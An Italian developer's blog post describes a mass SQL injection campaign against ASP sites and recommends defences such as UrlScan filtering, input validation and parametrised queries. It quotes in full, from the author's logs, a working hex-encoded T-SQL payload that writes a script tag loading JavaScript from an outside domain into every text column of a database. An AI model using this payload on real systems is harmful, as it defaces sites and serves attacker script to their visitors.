Era un po' che mi aspettavo una forma di attacco basata su questo tipo di injection, meno sofisticata di un apice ma nemmeno tanto assurda. In pratica, ci sono bot in giro che mandano una serie di chiamate a pagine web che accettano parametri in querystring, cercando in tutti i modi di bypassare i normali controlli che lo sviluppatore fa. E' dai tempi del Whidbey and Security Day che cerco di dire che fare solo replace non è la soluzione migliore e che i parametri in input vanno sempre controllati formalmente prima di fare una query.

La tecnica sfrutta questo genere di chiamata:

Uri?p=2;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E617070696433372E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);--

Ne sto loggando a centinaia e vengono da indirizzi IP diversi, quasi mai lo stesso, quindi bloccarli serve a poco. Viene iniettato in tutti i campi un particolare codice Javascript e gli effetti sono che si stima che circa 500 mila siti sono stati colpiti.

Come ci si può proteggere? Nel caso di applicazioni Classic ASP, la cosa più semplice è installare (o farsi installare, se si è in hosting) UrlScan, filtrando una serie di sequenze. La versione 3.0 beta, uscita in questi giorni, riesce finalmente a filtrare anche la querystring, cosa che la versione 2.5, l'ultima stabile, non fa. Maggiori dettagli qui. Se poi si usa un include e non si può sfruttare UrlScan, si può fare un banale ciclo sui campi in input e bloccare se si trovano determinati pezzi nella querystring o nel body (per intercettare anche quelle inviate con metodo POST).

Per ASP.NET la cosa è più semplice, visto che si possono usare le query parametriche con maggiore facilità, come spiegato in questo nostro articolo e relativa seconda parte. L'equivalente di UrlScan, che resta una possibilità anche per ASP.NET, è quella di farsi un HttpModule che filtri l'input che arriva da GET o POST, di cui riporto uno stralcio:

In tutti i casi riscrivere lo strato di accesso ai dati perchè faccia controlli sul tipo di dato che arriva (se è un ID numerico, controllare sempre che sia un intero, controllare sempre la lunghezza, etc) è decisamente la cosa migliore, ma mi rendo conto che, specie per applicazioni Classic ASP scritte mezzo secolo (di internet time) fa non è sempre una cosa fattibile.

Ancora una volta, la sicurezza va presa in maniera seria, come fondamento di un'applicazione e non come un optional.